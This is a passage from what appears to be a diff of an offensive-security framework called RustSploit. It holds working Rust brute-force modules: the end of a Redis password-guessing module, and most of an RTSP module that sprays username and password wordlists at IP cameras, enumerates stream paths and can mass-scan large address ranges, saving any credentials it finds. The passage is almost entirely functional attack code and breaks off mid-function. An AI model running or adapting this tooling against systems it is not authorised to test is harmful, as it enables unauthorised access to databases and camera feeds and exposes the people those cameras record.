|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials
|
||||
if use_defaults {
|
||||
if use_acl {
|
||||
for (user, pass) in DEFAULT_ACL_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default ACL credentials", DEFAULT_ACL_CREDENTIALS.len()).green());
|
||||
} else {
|
||||
// Password-only mode: single empty username
|
||||
if usernames.is_empty() {
|
||||
usernames.push(String::new());
|
||||
}
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
if !use_acl && usernames.is_empty() {
|
||||
usernames.push(String::new());
|
||||
}
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available (ACL mode requires usernames)"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let combos = generate_combos(&usernames, &passwords, combo_mode);
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_redis_login(&t, p, &user, &pass, use_acl, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.message,
|
||||
retryable: e.error_type.is_retryable(),
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "redis",
|
||||
source_module: "creds/generic/redis_bruteforce",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored Redis responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "redis_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# Redis Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Redis Protocol Functions
|
||||
// ============================================================================
|
||||
|
||||
/// Send a PING to Redis. Returns Ok(true) if we get +PONG without auth,
|
||||
/// Ok(false) if auth is required (-NOAUTH), Err on connection failure.
|
||||
fn redis_ping(target: &str, port: u16, timeout_secs: u64) -> std::result::Result<bool, RedisError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| RedisError {
|
||||
error_type: RedisErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
stream.write_all(b"PING\r\n")
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 1024];
|
||||
let n = stream.read(&mut buffer)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("+PONG") {
|
||||
Ok(true)
|
||||
} else if response.contains("-NOAUTH") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(RedisError {
|
||||
error_type: RedisErrorType::ProtocolError,
|
||||
message: format!("Unexpected PING response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt Redis AUTH login.
|
||||
/// In ACL mode: sends `AUTH username password\r\n`
|
||||
/// In legacy mode: sends `AUTH password\r\n`
|
||||
/// Returns Ok(true) on +OK, Ok(false) on -ERR, Err on connection issues.
|
||||
/// On success, also sends INFO server to gather version info.
|
||||
fn attempt_redis_login(
|
||||
target: &str,
|
||||
port: u16,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
acl_mode: bool,
|
||||
timeout_secs: u64,
|
||||
) -> std::result::Result<bool, RedisError> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?
|
||||
.next()
|
||||
.ok_or_else(|| RedisError {
|
||||
error_type: RedisErrorType::ConnectionRefused,
|
||||
message: "Resolution failed".to_string(),
|
||||
})?;
|
||||
|
||||
let mut stream = crate::utils::blocking_tcp_connect(&socket_addr, timeout)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let _ = stream.set_nodelay(true);
|
||||
stream.set_read_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
stream.set_write_timeout(Some(timeout)).map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
// Build AUTH command
|
||||
let auth_cmd = if acl_mode {
|
||||
format!("AUTH {} {}\r\n", user, pass)
|
||||
} else {
|
||||
format!("AUTH {}\r\n", pass)
|
||||
};
|
||||
|
||||
stream.write_all(auth_cmd.as_bytes())
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer)
|
||||
.map_err(|e| RedisError::from_anyhow(e.into()))?;
|
||||
let response = String::from_utf8_lossy(&buffer[..n]);
|
||||
|
||||
if response.contains("+OK") {
|
||||
// Auth succeeded — gather server info
|
||||
if stream.write_all(b"INFO server\r\n").is_ok() {
|
||||
let mut info_buf = [0u8; 4096];
|
||||
if let Ok(info_n) = stream.read(&mut info_buf) {
|
||||
let info_response = String::from_utf8_lossy(&info_buf[..info_n]);
|
||||
// Extract version if available
|
||||
for line in info_response.lines() {
|
||||
if line.starts_with("redis_version:") {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(" [i] Redis version on {}:{} -> {}", target, port, line.trim()).cyan()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// Clean disconnect
|
||||
let _ = stream.write_all(b"QUIT\r\n");
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
if response.contains("-ERR") || response.contains("-WRONGPASS") {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
// If no auth required, also treat as success for empty password
|
||||
if response.contains("-NOAUTH") && pass.is_empty() {
|
||||
return Ok(false);
|
||||
}
|
||||
|
||||
Err(RedisError {
|
||||
error_type: RedisErrorType::ProtocolError,
|
||||
message: format!("Unexpected AUTH response: {}", response.trim()),
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,715 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use base64::engine::general_purpose::STANDARD as Base64;
|
||||
use base64::Engine as _;
|
||||
use colored::*;
|
||||
use std::{
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
};
|
||||
use tokio::{
|
||||
io::{AsyncReadExt, AsyncWriteExt},
|
||||
net::TcpStream,
|
||||
time::timeout,
|
||||
};
|
||||
|
||||
use crate::modules::creds::utils::{
|
||||
generate_combos, is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "RTSP Brute Force".to_string(),
|
||||
description: "Brute-force RTSP authentication for IP cameras and streaming devices. Supports advanced RTSP commands, custom headers, path brute-forcing, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
const CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
fn display_banner() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╔═══════════════════════════════════════════════════════════╗".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Advanced RTSP Brute Force Module ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ IP Camera and Streaming Server Credential Testing ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Supports path enumeration and custom headers ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"║ Modes: Single Target & Mass Scan (Hose) ║".cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"╚═══════════════════════════════════════════════════════════╝".cyan()
|
||||
);
|
||||
crate::mprintln!();
|
||||
}
|
||||
|
||||
/// Main entry point for the advanced RTSP brute force module.
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let usernames_file =
|
||||
cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let paths_file =
|
||||
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
|
||||
let users = Arc::new(load_lines(&usernames_file)?);
|
||||
let passes = Arc::new(load_lines(&passwords_file)?);
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
let paths = Arc::new(paths);
|
||||
if users.is_empty() || passes.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "RTSP",
|
||||
default_port: 554,
|
||||
state_file: "rtsp_hose_state.log",
|
||||
default_output: "rtsp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
let paths = paths.clone();
|
||||
async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, std::time::Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
let empty_headers: Vec<String> = Vec::new();
|
||||
for path in paths.iter() {
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let addrs = [sa];
|
||||
let res = try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
user,
|
||||
pass,
|
||||
path,
|
||||
Some("DESCRIBE"),
|
||||
&empty_headers,
|
||||
)
|
||||
.await;
|
||||
match res {
|
||||
Ok(true) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line =
|
||||
format!("[{}] {}:{}:{}:{}\n", now, ip, port, user, pass);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[+] FOUND: {}:{} -> {}:{} [path={}]",
|
||||
ip, port, user, pass, path
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string().to_lowercase();
|
||||
if err_str.contains("refused")
|
||||
|| err_str.contains("timeout")
|
||||
|| err_str.contains("reset")
|
||||
{
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Subnet Scan".cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 10000).await? as usize;
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "rtsp_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_mode = cfg_prompt_yes_no(
|
||||
"combo_mode",
|
||||
"Combination mode? (try every pass with every user)",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let advanced_mode = cfg_prompt_yes_no(
|
||||
"advanced_mode",
|
||||
"Use advanced RTSP commands/headers (DESCRIBE + custom headers)?",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let mut advanced_headers: Vec<String> = Vec::new();
|
||||
let advanced_command = if advanced_mode {
|
||||
let method = cfg_prompt_default(
|
||||
"rtsp_method",
|
||||
"RTSP method to use (e.g. DESCRIBE)",
|
||||
"DESCRIBE",
|
||||
)
|
||||
.await?;
|
||||
if cfg_prompt_yes_no(
|
||||
"load_headers_file",
|
||||
"Load extra RTSP headers from a file?",
|
||||
false,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let headers_path =
|
||||
cfg_prompt_existing_file("headers_file", "Path to RTSP headers file").await?;
|
||||
advanced_headers = load_lines(&headers_path)?;
|
||||
}
|
||||
Some(method)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let advanced_headers = Arc::new(advanced_headers);
|
||||
|
||||
// Extract RTSP path if present (e.g., rtsp://host:port/path -> path)
|
||||
let implicit_path = extract_rtsp_path(target);
|
||||
|
||||
// Normalize target and add port if needed
|
||||
let target_normalized = if target.starts_with("rtsp://") {
|
||||
target
|
||||
.strip_prefix("rtsp://")
|
||||
.unwrap_or(target)
|
||||
.split('/')
|
||||
.next()
|
||||
.unwrap_or(target)
|
||||
} else {
|
||||
target.split('/').next().unwrap_or(target)
|
||||
};
|
||||
|
||||
let normalized = normalize_target(target_normalized)?;
|
||||
let target_host = if normalized.contains(':') {
|
||||
// Already has port — extract host part
|
||||
normalized
|
||||
.rsplit_once(':')
|
||||
.map(|(h, _)| h)
|
||||
.unwrap_or(&normalized)
|
||||
.to_string()
|
||||
} else {
|
||||
normalized.clone()
|
||||
};
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
if users.is_empty() {
|
||||
crate::mprintln!("[!] Username wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
if pass_lines.is_empty() {
|
||||
crate::mprintln!("[!] Password wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let brute_force_paths = cfg_prompt_yes_no(
|
||||
"brute_force_paths",
|
||||
"Brute force possible RTSP paths (e.g. /stream /live)?",
|
||||
false,
|
||||
)
|
||||
.await?;
|
||||
let mut paths = if brute_force_paths {
|
||||
let paths_file = cfg_prompt_existing_file("paths_file", "Path to RTSP paths file").await?;
|
||||
load_lines(&paths_file)?
|
||||
} else {
|
||||
vec!["".to_string()]
|
||||
};
|
||||
if paths.is_empty() {
|
||||
crate::mprintln!("[!] RTSP paths list is empty. Falling back to default root path.");
|
||||
paths.push(String::new());
|
||||
}
|
||||
if let Some(p) = implicit_path {
|
||||
if !paths.iter().any(|existing| existing == &p) {
|
||||
paths.insert(0, p);
|
||||
}
|
||||
}
|
||||
|
||||
let addr = format!("{}:{}", target_host, port);
|
||||
let resolved_addrs = match resolve_targets(&addr).await {
|
||||
Ok(addrs) => Arc::new(addrs),
|
||||
Err(e) => {
|
||||
crate::meprintln!("[!] Failed to resolve '{}': {}", addr, e);
|
||||
return Err(e);
|
||||
}
|
||||
};
|
||||
|
||||
let combos = generate_combos(&users, &pass_lines, combo_mode);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[*] {} credential pair(s) x {} path(s) = {} total attempts",
|
||||
combos.len(),
|
||||
paths.len(),
|
||||
combos.len() * paths.len()
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
|
||||
// Loop over each RTSP path, running the bruteforce engine per path.
|
||||
// This preserves the engine's clean (user, pass) API while covering
|
||||
// the RTSP-specific path dimension.
|
||||
let mut all_found: Vec<(String, String, String, String)> = Vec::new();
|
||||
|
||||
for path in &paths {
|
||||
let path_display = if path.is_empty() {
|
||||
"/ (root)"
|
||||
} else {
|
||||
path.as_str()
|
||||
};
|
||||
crate::mprintln!("\n{}", format!("[*] Testing path: {}", path_display).cyan());
|
||||
|
||||
let path_c = path.clone();
|
||||
let addrs_c = resolved_addrs.clone();
|
||||
let headers_c = advanced_headers.clone();
|
||||
let command_c = advanced_command.clone();
|
||||
|
||||
let try_login = move |t: String, p: u16, user: String, pass: String| {
|
||||
let addrs = addrs_c.clone();
|
||||
let path = path_c.clone();
|
||||
let headers = headers_c.clone();
|
||||
let command = command_c.clone();
|
||||
let display_addr = format!("{}:{}", t, p);
|
||||
async move {
|
||||
match try_rtsp_login(
|
||||
addrs.as_slice(),
|
||||
&display_addr,
|
||||
&user,
|
||||
&pass,
|
||||
&path,
|
||||
command.as_deref(),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string().to_lowercase();
|
||||
let retryable = !msg.contains("401") && !msg.contains("403");
|
||||
LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target_host.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 10,
|
||||
max_retries: 2,
|
||||
service_name: "rtsp",
|
||||
source_module: "creds/generic/rtsp_bruteforce",
|
||||
},
|
||||
combos.clone(),
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
let path_label = if path.is_empty() {
|
||||
"NO_PATH".to_string()
|
||||
} else {
|
||||
path.clone()
|
||||
};
|
||||
for (host, user, pass) in &result.found {
|
||||
all_found.push((host.clone(), user.clone(), pass.clone(), path_label.clone()));
|
||||
}
|
||||
|
||||
// If stop_on_success and we found something on this path, skip remaining paths
|
||||
if stop_on_success && !result.found.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Credentials found and stop_on_success enabled — skipping remaining paths."
|
||||
.yellow()
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Final summary across all paths
|
||||
if all_found.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[-] No credentials found (with these paths).".yellow()
|
||||
);
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[+] Found {} valid credential(s) across all paths:",
|
||||
all_found.len()
|
||||
)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (host, user, pass, path) in &all_found {
|
||||
crate::mprintln!(" {} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
|
||||
if let Some(ref path) = save_path {
|
||||
let filename = crate::utils::get_filename_in_current_dir(path);
|
||||
{
|
||||
use std::io::Write;
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
if let Ok(mut file) = opts.open(&filename) {
|
||||
for (host, user, pass, path) in &all_found {
|
||||
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
|
||||
}
|
||||
crate::mprintln!("[+] Results saved to '{}'", filename.display());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Run subnet scan using the generic subnet bruteforce engine.
|
||||
/// Loops over RTSP paths externally, running `run_subnet_bruteforce` per path.
|
||||
async fn run_subnet_scan(target: &str) -> Result<()> {
|
||||
let port: u16 = cfg_prompt_port("port", "RTSP Port", 554).await?;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let paths_file =
|
||||
cfg_prompt_existing_file("paths_file", "RTSP paths file (empty for none/root)").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
let mut paths = load_lines(&paths_file)?;
|
||||
if paths.is_empty() {
|
||||
paths.push("".to_string());
|
||||
}
|
||||
if users.is_empty() || pass_lines.is_empty() {
|
||||
return Err(anyhow!("Wordlists cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"rtsp_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
for path in &paths {
|
||||
let path_display = if path.is_empty() {
|
||||
"/ (root)"
|
||||
} else {
|
||||
path.as_str()
|
||||
};
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Subnet scan — RTSP path: {}", path_display).cyan()
|
||||
);
|
||||
|
||||
let path_c = path.clone();
|
||||
let empty_headers: Arc<Vec<String>> = Arc::new(Vec::new());
|
||||
|
||||
run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users.clone(),
|
||||
pass_lines.clone(),
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file: output_file.clone(),
|
||||
service_name: "rtsp",
|
||||
source_module: "creds/generic/rtsp_bruteforce",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let path = path_c.clone();
|
||||
let headers = empty_headers.clone();
|
||||
async move {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
let addrs = [sa];
|
||||
match try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
&user,
|
||||
&pass,
|
||||
&path,
|
||||
Some("DESCRIBE"),
|
||||
&headers,
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let msg = e.to_string().to_lowercase();
|
||||
let retryable = !msg.contains("refused")
|
||||
&& !msg.contains("timeout")
|
||||
&& !msg.contains("reset");
|
||||
LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable,
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
)
|
||||
.await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
if let Ok(sa) = addr.parse::<SocketAddr>() {
|
||||
return Ok(vec![sa]);
|
||||
}
|
||||
|
||||
// 2) Split into host / port
|
||||
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
|
||||
(h.to_string(), p.parse().unwrap_or(554))
|
||||
} else {
|
||||
(addr.to_string(), 554)
|
||||
};
|
||||
|
||||
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
|
||||
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
|
||||
let host_port = if host_clean.contains(':') {
|
||||
format!("[{}]:{}", host_clean, port)
|
||||
} else {
|
||||
format!("{}:{}", host_clean, port)
|
||||
};
|
||||
|
||||
// 4) DNS lookup (handles A + AAAA)
|
||||
let addrs = tokio::net::lookup_host(host_port.clone())
|
||||
.await
|
||||
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
|
||||
.collect::<Vec<_>>();
|
||||
|
||||
if addrs.is_empty() {
|
||||
Err(anyhow!("No addresses found for '{}'", host_port))
|
||||
} else {
|
||||
Ok(addrs)
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
|
||||
async fn try_rtsp_login(
|
||||
addrs: &[SocketAddr],
|
||||
addr_display: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
path: &str,
|
||||
method: Option<&str>,
|
||||
extra_headers: &[String],
|
||||
) -> Result<bool> {
|
||||
let mut last_err = None;
|
||||
let mut stream = None;
|
||||
let mut connected_sa: Option<SocketAddr> = None;
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match timeout(
|
||||
Duration::from_millis(CONNECT_TIMEOUT_MS),
|
||||
TcpStream::connect(*sa),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
Err(_) => {
|
||||
last_err = Some(std::io::Error::new(
|
||||
std::io::ErrorKind::TimedOut,
|
||||
"Connect timeout",
|
||||
));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unwrap the successful connection and SocketAddr
|
||||
let (mut stream, sa) = match (stream, connected_sa) {
|
||||
(Some(s), Some(sa)) => (s, sa),
|
||||
_ => {
|
||||
return Err(anyhow!(
|
||||
"All connection attempts to {} failed: {}",
|
||||
addr_display,
|
||||
last_err.map(|e| e.to_string()).unwrap_or_default()
|
||||
))
|
||||
}
|
||||
};
|
||||
|
||||
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
|
||||
let ip_str = sa.ip().to_string();
|
||||
let host_for_uri = if ip_str.contains(':') {
|
||||
format!("[{}]:{}", ip_str, sa.port())
|
||||
} else {
|
||||
format!("{}:{}", ip_str, sa.port())
|
||||
};
|
||||
|
||||
let rtsp_method = method.unwrap_or("OPTIONS");
|
||||
let path_str = if path.is_empty() { "" } else { path };
|
||||
let credentials = Base64.encode(format!("{}:{}", user, pass));
|
||||
|
||||
let mut request = format!(
|
||||
